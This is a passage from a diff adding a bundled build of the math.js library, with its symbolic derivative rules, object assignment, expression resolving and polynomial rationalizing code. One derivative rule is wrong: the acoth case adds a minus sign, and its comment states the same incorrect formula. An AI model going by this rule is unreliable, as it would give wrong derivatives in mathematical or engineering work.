[new FunctionNode('abs', [arg0.clone()]), new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)])])]); + break; + + case 'acsc': + // d/dx(acsc(x)) = -1 / (|x|*sqrt(x^2 - 1)) + div = true; + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [new FunctionNode('abs', [arg0.clone()]), new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)])])]); + break; + + case 'acot': + // d/dx(acot(x)) = -1 / (x^2 + 1) + div = true; + negative = true; + funcDerivative = new OperatorNode('+', 'add', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)]); + break; + + case 'sinh': + // d/dx(sinh(x)) = cosh(x) + funcDerivative = new FunctionNode('cosh', [arg0.clone()]); + break; + + case 'cosh': + // d/dx(cosh(x)) = sinh(x) + funcDerivative = new FunctionNode('sinh', [arg0.clone()]); + break; + + case 'tanh': + // d/dx(tanh(x)) = sech(x)^2 + funcDerivative = new OperatorNode('^', 'pow', [new FunctionNode('sech', [arg0.clone()]), createConstantNode(2)]); + break; + + case 'sech': + // d/dx(sech(x)) = -sech(x)tanh(x) + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [node, new FunctionNode('tanh', [arg0.clone()])]); + break; + + case 'csch': + // d/dx(csch(x)) = -csch(x)coth(x) + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [node, new FunctionNode('coth', [arg0.clone()])]); + break; + + case 'coth': + // d/dx(coth(x)) = -csch(x)^2 + negative = true; + funcDerivative = new OperatorNode('^', 'pow', [new FunctionNode('csch', [arg0.clone()]), createConstantNode(2)]); + break; + + case 'asinh': + // d/dx(asinh(x)) = 1 / sqrt(x^2 + 1) + div = true; + funcDerivative = new FunctionNode('sqrt', [new OperatorNode('+', 'add', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)])]); + break; + + case 'acosh': + // d/dx(acosh(x)) = 1 / sqrt(x^2 - 1); XXX potentially only for x >= 1 (the real spectrum) + div = true; + funcDerivative = new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)])]); + break; + + case 'atanh': + // d/dx(atanh(x)) = 1 / (1 - x^2) + div = true; + funcDerivative = new OperatorNode('-', 'subtract', [createConstantNode(1), new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)])]); + break; + + case 'asech': + // d/dx(asech(x)) = -1 / (x*sqrt(1 - x^2)) + div = true; + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [arg0.clone(), new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [createConstantNode(1), new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)])])])]); + break; + + case 'acsch': + // d/dx(acsch(x)) = -1 / (|x|*sqrt(x^2 + 1)) + div = true; + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [new FunctionNode('abs', [arg0.clone()]), new FunctionNode('sqrt', [new OperatorNode('+', 'add', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)])])]); + break; + + case 'acoth': + // d/dx(acoth(x)) = -1 / (1 - x^2) + div = true; + negative = true; + funcDerivative = new OperatorNode('-', 'subtract', [createConstantNode(1), new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)])]); + break; + + case 'abs': + // d/dx(abs(x)) = abs(x)/x + funcDerivative = new OperatorNode('/', 'divide', [new FunctionNode(new SymbolNode('abs'), [arg0.clone()]), arg0.clone()]); + break; + + case 'gamma': // Needs digamma function, d/dx(gamma(x)) = gamma(x)digamma(x) + + default: + throw new Error('Function "' + node.name + '" is not supported by derivative, or a wrong number of arguments is passed'); + } + + var op, func; + + if (div) { + op = '/'; + func = 'divide'; + } else { + op = '*'; + func = 'multiply'; + } + /* Apply chain rule to all functions: + F(x) = f(g(x)) + F'(x) = g'(x)*f'(g(x)) */ + + + var chainDerivative = _derivative(arg0, constNodes); + + if (negative) { + chainDerivative = new OperatorNode('-', 'unaryMinus', [chainDerivative]); + } + + return new OperatorNode(op, func, [chainDerivative, funcDerivative]); + }, + 'OperatorNode, Object': function OperatorNodeObject(node, constNodes) { + if (constNodes[node] !== undefined) { + return createConstantNode(0); + } + + if (node.op === '+') { + // d/dx(sum(f(x)) = sum(f'(x)) + return new OperatorNode(node.op, node.fn, node.args.map(function (arg) { + return _derivative(arg, constNodes); + })); + } + + if (node.op === '-') { + // d/dx(+/-f(x)) = +/-f'(x) + if (node.isUnary()) { + return new OperatorNode(node.op, node.fn, [_derivative(node.args[0], constNodes)]); + } // Linearity of differentiation, d/dx(f(x) +/- g(x)) = f'(x) +/- g'(x) + + + if (node.isBinary()) { + return new OperatorNode(node.op, node.fn, [_derivative(node.args[0], constNodes), _derivative(node.args[1], constNodes)]); + } + } + + if (node.op === '*') { + // d/dx(c*f(x)) = c*f'(x) + var constantTerms = node.args.filter(function (arg) { + return constNodes[arg] !== undefined; + }); + + if (constantTerms.length > 0) { + var nonConstantTerms = node.args.filter(function (arg) { + return constNodes[arg] === undefined; + }); + var nonConstantNode = nonConstantTerms.length === 1 ? nonConstantTerms[0] : new OperatorNode('*', 'multiply', nonConstantTerms); + var newArgs = constantTerms.concat(_derivative(nonConstantNode, constNodes)); + return new OperatorNode('*', 'multiply', newArgs); + } // Product Rule, d/dx(f(x)*g(x)) = f'(x)*g(x) + f(x)*g'(x) + + + return new OperatorNode('+', 'add', node.args.map(function (argOuter) { + return new OperatorNode('*', 'multiply', node.args.map(function (argInner) { + return argInner === argOuter ? _derivative(argInner, constNodes) : argInner.clone(); + })); + })); + } + + if (node.op === '/' && node.isBinary()) { + var arg0 = node.args[0]; + var arg1 = node.args[1]; // d/dx(f(x) / c) = f'(x) / c + + if (constNodes[arg1] !== undefined) { + return new OperatorNode('/', 'divide', [_derivative(arg0, constNodes), arg1]); + } // Reciprocal Rule, d/dx(c / f(x)) = -c(f'(x)/f(x)^2) + + + if (constNodes[arg0] !== undefined) { + return new OperatorNode('*', 'multiply', [new OperatorNode('-', 'unaryMinus', [arg0]), new OperatorNode('/', 'divide', [_derivative(arg1, constNodes), new OperatorNode('^', 'pow', [arg1.clone(), createConstantNode(2)])])]); + } // Quotient rule, d/dx(f(x) / g(x)) = (f'(x)g(x) - f(x)g'(x)) / g(x)^2 + + + return new OperatorNode('/', 'divide', [new OperatorNode('-', 'subtract', [new OperatorNode('*', 'multiply', [_derivative(arg0, constNodes), arg1.clone()]), new OperatorNode('*', 'multiply', [arg0.clone(), _derivative(arg1, constNodes)])]), new OperatorNode('^', 'pow', [arg1.clone(), createConstantNode(2)])]); + } + + if (node.op === '^' && node.isBinary()) { + var _arg = node.args[0]; + var _arg2 = node.args[1]; + + if (constNodes[_arg] !== undefined) { + // If is secretly constant; 0^f(x) = 1 (in JS), 1^f(x) = 1 + if (type.isConstantNode(_arg) && (isZero(_arg.value) || equal(_arg.value, 1))) { + return createConstantNode(0); + } // d/dx(c^f(x)) = c^f(x)*ln(c)*f'(x) + + + return new OperatorNode('*', 'multiply', [node, new OperatorNode('*', 'multiply', [new FunctionNode('log', [_arg.clone()]), _derivative(_arg2.clone(), constNodes)])]); + } + + if (constNodes[_arg2] !== undefined) { + if (type.isConstantNode(_arg2)) { + // If is secretly constant; f(x)^0 = 1 -> d/dx(1) = 0 + if (isZero(_arg2.value)) { + return createConstantNode(0); + } // Ignore exponent; f(x)^1 = f(x) + + + if (equal(_arg2.value, 1)) { + return _derivative(_arg, constNodes); + } + } // Elementary Power Rule, d/dx(f(x)^c) = c*f'(x)*f(x)^(c-1) + + + var powMinusOne = new OperatorNode('^', 'pow', [_arg.clone(), new OperatorNode('-', 'subtract', [_arg2, createConstantNode(1)])]); + return new OperatorNode('*', 'multiply', [_arg2.clone(), new OperatorNode('*', 'multiply', [_derivative(_arg, constNodes), powMinusOne])]); + } // Functional Power Rule, d/dx(f^g) = f^g*[f'*(g/f) + g'ln(f)] + + + return new OperatorNode('*', 'multiply', [new OperatorNode('^', 'pow', [_arg.clone(), _arg2.clone()]), new OperatorNode('+', 'add', [new OperatorNode('*', 'multiply', [_derivative(_arg, constNodes), new OperatorNode('/', 'divide', [_arg2.clone(), _arg.clone()])]), new OperatorNode('*', 'multiply', [_derivative(_arg2, constNodes), new FunctionNode('log', [_arg.clone()])])])]); + } + + throw new Error('Operator "' + node.op + '" is not supported by derivative, or a wrong number of arguments is passed'); + } + }); + /** + * Ensures the number of arguments for a function are correct, + * and will throw an error otherwise. + * + * @param {FunctionNode} node + */ + + + function funcArgsCheck(node) { + // TODO add min, max etc + if ((node.name === 'log' || node.name === 'nthRoot' || node.name === 'pow') && node.args.length === 2) { + return; + } // There should be an incorrect number of arguments if we reach here + // Change all args to constants to avoid unidentified + // symbol error when compiling function + + + for (var i = 0; i < node.args.length; ++i) { + node.args[i] = createConstantNode(0); + } + + node.compile().eval(); + throw new Error('Expected TypeError, but none found'); + } + /** + * Helper function to create a constant node with a specific type + * (number, BigNumber, Fraction) + * @param {number} value + * @param {string} [valueType] + * @return {ConstantNode} + */ + + + function createConstantNode(value, valueType) { + return new ConstantNode(numeric(value, valueType || config.number)); + } + + return derivative; +} + +exports.name = 'derivative'; +exports.factory = factory; + +/***/ }), +/* 205 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var errorTransform = __webpack_require__(22).transform; + +var setSafeProperty = __webpack_require__(13).setSafeProperty; + +function factory(type, config, load, typed) { + var subset = load(__webpack_require__(23)); + var matrix = load(__webpack_require__(0)); + /** + * Replace part of an object: + * + * - Assign a property to an object + * - Replace a part of a string + * - Replace a matrix subset + * + * @param {Object | Array | Matrix | string} object + * @param {Index} index + * @param {*} value + * @return {Object | Array | Matrix | string} Returns the original object + * except in case of a string + */ + // TODO: change assign to return the value instead of the object + + return function assign(object, index, value) { + try { + if (Array.isArray(object)) { + return matrix(object).subset(index, value).valueOf(); + } else if (object && typeof object.subset === 'function') { + // Matrix + return object.subset(index, value); + } else if (typeof object === 'string') { + // TODO: move setStringSubset into a separate util file, use that + return subset(object, index, value); + } else if (_typeof(object) === 'object') { + if (!index.isObjectProperty()) { + throw TypeError('Cannot apply a numeric index as object property'); + } + + setSafeProperty(object, index.getObjectProperty(), value); + return object; + } else { + throw new TypeError('Cannot apply index: unsupported type of object'); + } + } catch (err) { + throw errorTransform(err); + } + }; +} + +exports.factory = factory; + +/***/ }), +/* 206 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed, math) { + var Node = math.expression.node.Node; + var OperatorNode = math.expression.node.OperatorNode; + var FunctionNode = math.expression.node.FunctionNode; + var ParenthesisNode = math.expression.node.ParenthesisNode; + /** + * resolve(expr, scope) replaces variable nodes with their scoped values + * + * Syntax: + * + * simplify.resolve(expr, scope) + * + * Examples: + * + * math.simplify.resolve('x + y', {x:1, y:2}) // Node {1 + 2} + * math.simplify.resolve(math.parse('x+y'), {x:1, y:2}) // Node {1 + 2} + * math.simplify('x+y', {x:2, y:'x+x'}).toString() // "6" + * + * @param {Node} node + * The expression tree to be simplified + * @param {Object} scope with variables to be resolved + */ + + function resolve(node, scope) { + if (!scope) { + return node; + } + + if (type.isSymbolNode(node)) { + var value = scope[node.name]; + + if (value instanceof Node) { + return resolve(value, scope); + } else if (typeof value === 'number') { + return math.parse(String(value)); + } + } else if (type.isOperatorNode(node)) { + var args = node.args.map(function (arg) { + return resolve(arg, scope); + }); + return new OperatorNode(node.op, node.fn, args, node.implicit); + } else if (type.isParenthesisNode(node)) { + return new ParenthesisNode(resolve(node.content, scope)); + } else if (type.isFunctionNode(node)) { + var _args = node.args.map(function (arg) { + return resolve(arg, scope); + }); + + return new FunctionNode(node.name, _args); + } + + return node; + } + + return resolve; +} + +exports.math = true; +exports.name = 'resolve'; +exports.path = 'algebra.simplify'; +exports.factory = factory; + +/***/ }), +/* 207 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var simplify = load(__webpack_require__(86)); + var simplifyCore = load(__webpack_require__(127)); + var simplifyConstant = load(__webpack_require__(125)); + var parse = load(__webpack_require__(129)); + + var number = __webpack_require__(3); + + var ConstantNode = load(__webpack_require__(58)); + var OperatorNode = load(__webpack_require__(59)); + var SymbolNode = load(__webpack_require__(54)); + /** + * Transform a rationalizable expression in a rational fraction. + * If rational fraction is one variable polynomial then converts + * the numerator and denominator in canonical form, with decreasing + * exponents, returning the coefficients of numerator. + * + * Syntax: + * + * rationalize(expr) + * rationalize(expr, detailed) + * rationalize(expr, scope) + * rationalize(expr, scope, detailed) + * + * Examples: + * + * math.rationalize('sin(x)+y') + * // Error: There is an unsolved function call + * math.rationalize('2x/y - y/(x+1)') + * // (2*x^2-y^2+2*x)/(x*y+y) + * math.rationalize('(2x+1)^6') + * // 64*x^6+192*x^5+240*x^4+160*x^3+60*x^2+12*x+1 + * math.rationalize('2x/( (2x-1) / (3x+2) ) - 5x/ ( (3x+4) / (2x^2-5) ) + 3') + * // -20*x^4+28*x^3+104*x^2+6*x-12)/(6*x^2+5*x-4) + * math.rationalize('x/(1-x)/(x-2)/(x-3)/(x-4) + 2x/ ( (1-2x)/(2-3x) )/ ((3-4x)/(4-5x) )') = + * // (-30*x^7+344*x^6-1506*x^5+3200*x^4-3472*x^3+1846*x^2-381*x)/ + * // (-8*x^6+90*x^5-383*x^4+780*x^3-797*x^2+390*x-72) + * + * math.rationalize('x+x+x+y',{y:1}) // 3*x+1 + * math.rationalize('x+x+x+y',{}) // 3*x+y + * + * const ret = math.rationalize('x+x+x+y',{},true) + * // ret.expression=3*x+y, ret.variables = ["x","y"] + * const ret = math.rationalize('-2+5x^2',{},true) + * // ret.expression=5*x^2-2, ret.variables = ["x"], ret.coefficients=[-2,0,5] + * + * See also: + * + * simplify + * + * @param {Node|string} expr The expression to check if is a polynomial expression + * @param {Object|boolean} optional scope of expression or true for already evaluated rational expression at input + * @param {Boolean} detailed optional True if return an object, false if return expression node (default) + * + * @return {Object | Expression Node} The rational polynomial of `expr` or na object + * {Object} + * {Expression Node} expression: node simplified expression + * {Expression Node} numerator: simplified numerator of expression + * {Expression Node | boolean} denominator: simplified denominator or false (if there is no denominator) + * {Array} variables: variable names + * {Array} coefficients: coefficients of numerator sorted by increased exponent + * {Expression Node} node simplified expression + * + */ + + var rationalize = typed('rationalize', { + 'string': function string(expr) { + return rationalize(parse(expr), {}, false); + }, + 'string, boolean': function stringBoolean(expr, detailed) { + return rationalize(parse(expr), {}, detailed); + }, + 'string, Object': function stringObject(expr, scope) { + return rationalize(parse(expr), scope, false); + }, + 'string, Object, boolean': function stringObjectBoolean(expr, scope, detailed) { + return rationalize(parse(expr), scope, detailed); + }, + 'Node': function Node(expr) { + return rationalize(expr, {}, false); + }, + 'Node, boolean': function NodeBoolean(expr, detailed) { + return rationalize(expr, {}, detailed); + }, + 'Node, Object': function NodeObject(expr, scope) { + return rationalize(expr, scope, false); + }, + 'Node, Object, boolean': function NodeObjectBoolean(expr, scope, detailed) { + var setRules = rulesRationalize(); // Rules for change polynomial in near canonical form + + var polyRet = polynomial(expr, scope, true, setRules.firstRules); // Check if expression is a rationalizable polynomial + + var nVars = polyRet.variables.length; + expr = polyRet.expression; + + if (nVars >= 1) { + // If expression in not a constant + expr = expandPower(expr); // First expand power of polynomials (cannot be made from rules!) + + var sBefore; // Previous expression + + var rules; + var eDistrDiv = true; + var redoInic = false; + expr = simplify(expr, setRules.firstRules, {}, { + exactFractions: false + }); // Apply the initial rules, including succ div rules + + var s; + + while (true) { + // Apply alternately successive division rules and distr.div.rules + rules = eDistrDiv ? setRules.distrDivRules : setRules.sucDivRules; + expr = simplify(expr, rules); // until no more changes + + eDistrDiv = !eDistrDiv; // Swap between Distr.Div and Succ. Div. Rules + + s = expr.toString(); + + if (s === sBefore) { + break; // No changes : end of the loop + } + + redoInic = true; + sBefore = s; + } + + if (redoInic) { + // Apply first rules again without succ div rules (if there are changes) + expr = simplify(expr, setRules.firstRulesAgain, {}, { + exactFractions: false + }); + } + + expr = simplify(expr, setRules.finalRules, {}, { + exactFractions: false + }); // Apply final rules + } // NVars >= 1 + + + var coefficients = []; + var retRationalize = {}; + + if (expr.type === 'OperatorNode' && expr.isBinary() && expr.op === '/') { + // Separate numerator from denominator + if (nVars === 1) { + expr.args[0] = polyToCanonical(expr.args[0], coefficients); + expr.args[1] = polyToCanonical(expr.args[1]); + } + + if (detailed) { + retRationalize.numerator = expr.args[0]; + retRationalize.denominator = expr.args[1]; + } + } else { + if (nVars === 1) { + expr = polyToCanonical(expr, coefficients); + } + + if (detailed) { + retRationalize.numerator = expr; + retRationalize.denominator = null; + } + } // nVars + + + if (!detailed) return expr; + retRationalize.coefficients = coefficients; + retRationalize.variables = polyRet.variables; + retRationalize.expression = expr; + return retRationalize; + } // ^^^^^^^ end of rationalize ^^^^^^^^ + + }); // end of typed rationalize + + /** + * Function to simplify an expression using an optional scope and + * return it if the expression is a polynomial expression, i.e. + * an expression with one or more variables and the operators + * +, -, *, and ^, where the exponent can only be a positive integer. + * + * Syntax: + * + * polynomial(expr,scope,extended, rules) + * + * @param {Node | string} expr The expression to simplify and check if is polynomial expression + * @param {object} scope Optional scope for expression simplification + * @param {boolean} extended Optional. Default is false. When true allows divide operator. + * @param {array} rules Optional. Default is no rule. + * + * + * @return {Object} + * {Object} node: node simplified expression + * {Array} variables: variable names + */ + + function polynomial(expr, scope, extended, rules) { + var variables = []; + var node = simplify(expr, rules, scope, { + exactFractions: false + }); // Resolves any variables and functions with all defined parameters + + extended = !!extended; + var oper = '+-*' + (extended ? '/' : ''); + recPoly(node); + var retFunc = {}; + retFunc.expression = node; + retFunc.variables = variables; + return retFunc; // ------------------------------------------------------------------------------------------------------- + + /** + * Function to simplify an expression using an optional scope and + * return it if the expression is a polynomial expression, i.e. + * an expression with one or more variables and the operators + * +, -, *, and ^, where the exponent can only be a positive integer. + * + * Syntax: + * + * recPoly(node) + * + * + * @param {Node} node The current sub tree expression in recursion + * + * @return nothing, throw an exception if error + */ + + function recPoly(node) { + var tp = node.type; // node type + + if (tp === 'FunctionNode') { + // No function call in polynomial expression + throw new Error('There is an unsolved function call'); + } else if (tp === 'OperatorNode') { + if (node.op === '^') { + if (node.args[1].fn === 'unaryMinus') { + node = node.args[0]; + } + + if (node.args[1].type !== 'ConstantNode' || !number.isInteger(parseFloat(node.args[1].value))) { + throw new Error('There is a non-integer exponent'); + } else { + recPoly(node.args[0]); + } + } else { + if (oper.indexOf(node.op) === -1) { + throw new Error('Operator ' + node.op + ' invalid in polynomial expression'); + } + + for (var i = 0; i < node.args.length; i++) { + recPoly(node.args[i]); + } + } // type of operator + + } else if (tp === 'SymbolNode') { + var name = node.name; // variable name + + var pos = variables.indexOf(name); + + if (pos === -1) { + // new variable in expression + variables.push(name); + } + } else if (tp === 'ParenthesisNode') { + recPoly(node.content); + } else if (tp !== 'ConstantNode') { + throw new Error('type ' + tp + ' is not allowed in polynomial expression'); + } + } // end of recPoly + + } // end of polynomial + // --------------------------------------------------------------------------------------- + + /** + * Return a rule set to rationalize an polynomial expression in rationalize + * + * Syntax: + * + * rulesRationalize() + * + * @return {array} rule set to rationalize an polynomial expression + */ + + + function rulesRationalize() { + var oldRules = [simplifyCore, // sCore + { + l: 'n+n', + r: '2*n' + }, { + l: 'n+-n', + r: '0' + }, simplifyConstant, // sConstant + { + l: 'n*(n1^-1)', + r: 'n/n1' + }, { + l: 'n*n1^-n2', + r: 'n/n1^n2' + }, { + l: 'n1^-1', + r: '1/n1' + }, { + l: 'n*(n1/n2)', + r: '(n*n1)/n2' + }, { + l: '1*n', + r: 'n' + }]; + var rulesFirst = [{ + l: '(-n1)/(-n2)', + r: 'n1/n2' + }, // Unary division + { + l: '(-n1)*(-n2)', + r: 'n1*n2' + }, // Unary multiplication + { + l: 'n1--n2', + r: 'n1+n2' + }, // '--' elimination + { + l: 'n1-n2', + r: 'n1+(-n2)' + }, // Subtraction turn into add with un�ry minus + { + l: '(n1+n2)*n3', + r: '(n1*n3 + n2*n3)' + }, // Distributive 1 + { + l: 'n1*(n2+n3)', + r: '(n1*n2+n1*n3)' + }, // Distributive 2 + { + l: 'c1*n + c2*n', + r: '(c1+c2)*n' + }, // Joining constants + { + l: 'c1*n + n', + r: '(c1+1)*n' + }, // Joining constants + { + l: 'c1*n - c2*n', + r: '(c1-c2)*n' + }, // Joining constants + { + l: 'c1*n - n', + r: '(c1-1)*n' + }, // Joining constants + { + l: 'v/c', + r: '(1/c)*v' + }, // variable/constant (new!) + { + l: 'v/-c', + r: '-(1/c)*v' + }, // variable/constant (new!) + { + l: '-v*-c', + r: 'c*v' + }, // Inversion constant and variable 1 + { + l: '-v*c', + r: '-c*v' + }, // Inversion constant and variable 2 + { + l: 'v*-c', + r: '-c*v' + }, // Inversion constant and variable 3 + { + l: 'v*c', + r: 'c*v' + }, // Inversion constant and variable 4 + { + l: '-(-n1*n2)', + r: '(n1*n2)' + }, // Unary propagation + { + l: '-(n1*n2)', + r: '(-n1*n2)' + }, // Unary propagation + { + l: '-(-n1+n2)', + r: '(n1-n2)' + }, // Unary propagation + { + l: '-(n1+n2)', + r: '(-n1-n2)' + }, // Unary propagation + { + l: '(n1^n2)^n3', + r: '(n1^(n2*n3))' + }, // Power to Power + { + l: '-(-n1/n2)', + r: '(n1/n2)' + }, // Division and Unary + { + l: '-(n1/n2)', + r: '(-n1/n2)' + }]; // Divisao and Unary + + var rulesDistrDiv = [{ + l: '(n1/n2 + n3/n4)', + r: '((n1*n4 + n3*n2)/(n2*n4))' + }, // Sum of fractions + { + l: '(n1/n2 + n3)', + r: '((n1 + n3*n2)/n2)' + }, // Sum fraction with number 1 + { + l: '(n1 + n2/n3)', + r: '((n1*n3 + n2)/n3)' + }]; // Sum fraction with number 1 + + var rulesSucDiv = [{ + l: '(n1/(n2/n3))', + r: '((n1*n3)/n2)' + }, // Division simplification + { + l: '(n1/n2/n3)', + r: '(n1/(n2*n3))' + }]; + var setRules = {}; // rules set in 4 steps. + // All rules => infinite loop + // setRules.allRules =oldRules.concat(rulesFirst,rulesDistrDiv,rulesSucDiv) + + setRules.firstRules = oldRules.concat(rulesFirst, rulesSucDiv); // First rule set + + setRules.distrDivRules = rulesDistrDiv; // Just distr. div. rules + + setRules.sucDivRules = rulesSucDiv; // Jus succ. div. rules + + setRules.firstRulesAgain = oldRules.concat(rulesFirst); // Last rules set without succ. div. + // Division simplification + // Second rule set. + // There is no aggregate expression with parentesis, but the only variable can be scattered. + + setRules.finalRules = [simplifyCore, // simplify.rules[0] + { + l: 'n*-n', + r: '-n^2' + }, // Joining multiply with power 1 + { + l: 'n*n', + r: 'n^2' + }, // Joining multiply with power 2 + simplifyConstant, // simplify.rules[14] old 3rd index in oldRules + { + l: 'n*-n^n1', + r: '-n^(n1+1)' + }, // Joining multiply with power 3 + { + l: 'n*n^n1', + r: 'n^(n1+1)' + }, // Joining multiply with power 4 + { + l: 'n^n1*-n^n2', + r: '-n^(n1+n2)' + }, // Joining multiply with power 5 + { + l: 'n^n1*n^n2', + r: 'n^(n1+n2)' + }, // Joining multiply with power 6 + { + l: 'n^n1*-n', + r: '-n^(n1+1)' + }, // Joining multiply with power 7 + { + l: 'n^n1*n', + r: 'n^(n1+1)' + }, // Joining multiply with power 8 + { + l: 'n^n1/-n', + r: '-n^(n1-1)' + }, // Joining multiply with power 8 + { + l: 'n^n1/n', + r: 'n^(n1-1)' + }, // Joining division with power 1 + { + l: 'n/-n^n1', + r: '-n^(1-n1)' + }, // Joining division with power 2 + { + l: 'n/n^n1', + r: 'n^(1-n1)' + }, // Joining division with power 3 + { + l: 'n^n1/-n^n2', + r: 'n^(n1-n2)' + }, // Joining division with power 4 + { + l: 'n^n1/n^n2', + r: 'n^(n1-n2)' + }, // Joining division with power 5 + { + l: 'n1+(-n2*n3)', + r: 'n1-n2*n3' + }, // Solving useless parenthesis 1 + { + l: 'v*(-c)', + r: '-c*v' + }, // Solving useless unary 2 + { + l: 'n1+-n2', + r: 'n1-n2' + }, // Solving +- together (new!) + { + l: 'v*c', + r: 'c*v' + }, // inversion constant with variable + { + l: '(n1^n2)^n3', + r: '(n1^(n2*n3))' // Power to Power + + }]; + return setRules; + } // End rulesRationalize + // --------------------------------------------------------------------------------------- + + /** + * Expand recursively a tree node for handling with expressions with exponents + * (it's not for constants, symbols or functions with exponents) + * PS: The other parameters are internal for recursion + * + * Syntax: + * + * expandPower(node) + * + * @param {Node} node Current expression node + * @param {node} parent Parent current node inside the recursion + * @param (int} Parent number of chid inside the rercursion + * + * @return {node} node expression with all powers expanded. + */ + + + function expandPower(node, parent, indParent) { + var tp = node.type; + var internal = arguments.length > 1; // TRUE in internal calls + + if (tp === 'OperatorNode' && node.isBinary()) { + var does = false; + var val; + + if (node.op === '^') { + // First operator: Parenthesis or UnaryMinus + if ((node.args[0].type === 'ParenthesisNode' || node.args[0].type === 'OperatorNode') && node.args[1].type === 'ConstantNode') { + // Second operator: Constant + val = parseFloat(node.args[1].value); + does = val >= 2 && number.isInteger(val); + } + } + + if (does) { + // Exponent >= 2 + // Before: + // operator A --> Subtree + // parent pow + // constant + // + if (val > 2) { + // Exponent > 2, + // AFTER: (exponent > 2) + // operator A --> Subtree + // parent * + // deep clone (operator A --> Subtree + // pow + // constant - 1 + // + var nEsqTopo = node.args[0]; + var nDirTopo = new OperatorNode('^', 'pow', [node.args[0].cloneDeep(), new ConstantNode(val - 1)]); + node = new OperatorNode('*', 'multiply', [nEsqTopo, nDirTopo]); + } else { + // Expo = 2 - no power + // AFTER: (exponent = 2) + // operator A --> Subtree + // parent oper + // deep clone (operator A --> Subtree) + // + node = new OperatorNode('*', 'multiply', [node.args[0], node.args[0].cloneDeep()]); + } + + if (internal) { + // Change parent references in internal recursive calls + if (indParent === 'content') { + parent.content = node; + } else { + parent.args[indParent] = node; + } + } + } // does + + } // binary OperatorNode + + + if (tp === 'ParenthesisNode') { + // Recursion + expandPower(node.content, node, 'content'); + } else if (tp !== 'ConstantNode' && tp !== 'SymbolNode') { + for (var i = 0; i < node.args.length; i++) { + expandPower(node.args[i], node, i); + } + } + + if (!internal) { + // return the root node + return node; + } + } // End expandPower + // --------------------------------------------------------------------------------------- + + /** + * Auxilary function for rationalize + * Convert near canonical polynomial in one variable in a canonical polynomial + * with one term for each exponent in decreasing order + * + * Syntax: + * + * polyToCanonical(node [, coefficients]) + * + * @param {Node | string} expr The near canonical polynomial expression to convert in a a canonical polynomial expression + * + * The string or tree expression needs to be at below syntax, with free spaces: + * ( (^(-)? | [+-]? )cte (*)? var (^expo)? | cte )+ + * Where 'var' is one variable with any valid name + * 'cte' are real numeric constants with any value. It can be omitted if equal than 1 + * 'expo' are integers greater than 0. It can be omitted if equal than 1. + * + * @param {array} coefficients Optional returns coefficients sorted by increased exponent + * + * + * @return {node} new node tree with one variable polynomial or string error. + */ + + + function polyToCanonical(node, coefficients) { + if (coefficients === undefined) { + coefficients = []; + } // coefficients. + + + coefficients[0] = 0; // index is the exponent + + var o = {}; + o.cte = 1; + o.oper = '+'; // fire: mark with * or ^ when finds * or ^ down tree, reset to "" with + and -. + // It is used to deduce the exponent: 1 for *, 0 for "". + + o.fire = ''; + var maxExpo = 0; // maximum exponent + + var varname = ''; // variable name + + recurPol(node, null, o); + maxExpo = coefficients.length - 1; + var first = true; + var no; + + for (var i = maxExpo; i >= 0; i--) { + if (coefficients[i] === 0) continue; + var n1 = new ConstantNode(first ? coefficients[i] : Math.abs(coefficients[i])); + var op = coefficients[i] < 0 ? '-' : '+'; + + if (i > 0) { + // Is not a constant without variable + var n2 = new SymbolNode(varname); + + if (i > 1) { + var n3 = new ConstantNode(i); + n2 = new OperatorNode('^', 'pow', [n2, n3]); + } + + if (coefficients[i] === -1 && first) { + n1 = new OperatorNode('-', 'unaryMinus', [n2]); + } else if (Math.abs(coefficients[i]) === 1) { + n1 = n2; + } else { + n1 = new OperatorNode('*', 'multiply', [n1, n2]); + } + } + + if (first) { + no = n1; + } else if (op === '+') { + no = new OperatorNode('+', 'add', [no, n1]); + } else { + no = new OperatorNode('-', 'subtract', [no, n1]); + } + + first = false; + } // for + + + if (first) { + return new ConstantNode(0); + } else { + return no; + } + /** + * Recursive auxilary function inside polyToCanonical for + * converting expression in canonical form + * + * Syntax: + * + * recurPol(node, noPai, obj) + * + * @param {Node} node The current subpolynomial expression + * @param {Node | Null} noPai The current parent node + * @param {object} obj Object with many internal flags + * + * @return {} No return. If error, throws an exception + */ + + + function recurPol(node, noPai, o) { + var tp = node.type; + + if (tp === 'FunctionNode') { + // ***** FunctionName ***** + // No function call in polynomial expression + throw new Error('There is an unsolved function call'); + } else if (tp === 'OperatorNode') { + // ***** OperatorName ***** + if ('+-*^'.indexOf(node.op) === -1) throw new Error('Operator ' + node.op + ' invalid'); + + if (noPai !== null) { + // -(unary),^ : children of *,+,- + if ((node.fn === 'unaryMinus' || node.fn === 'pow') && noPai.fn !== 'add' && noPai.fn !== 'subtract' && noPai.fn !== 'multiply') { + throw new Error('Invalid ' + node.op + ' placing'); + } // -,+,* : children of +,- + + + if ((node.fn === 'subtract' || node.fn === 'add' || node.fn === 'multiply') && noPai.fn !== 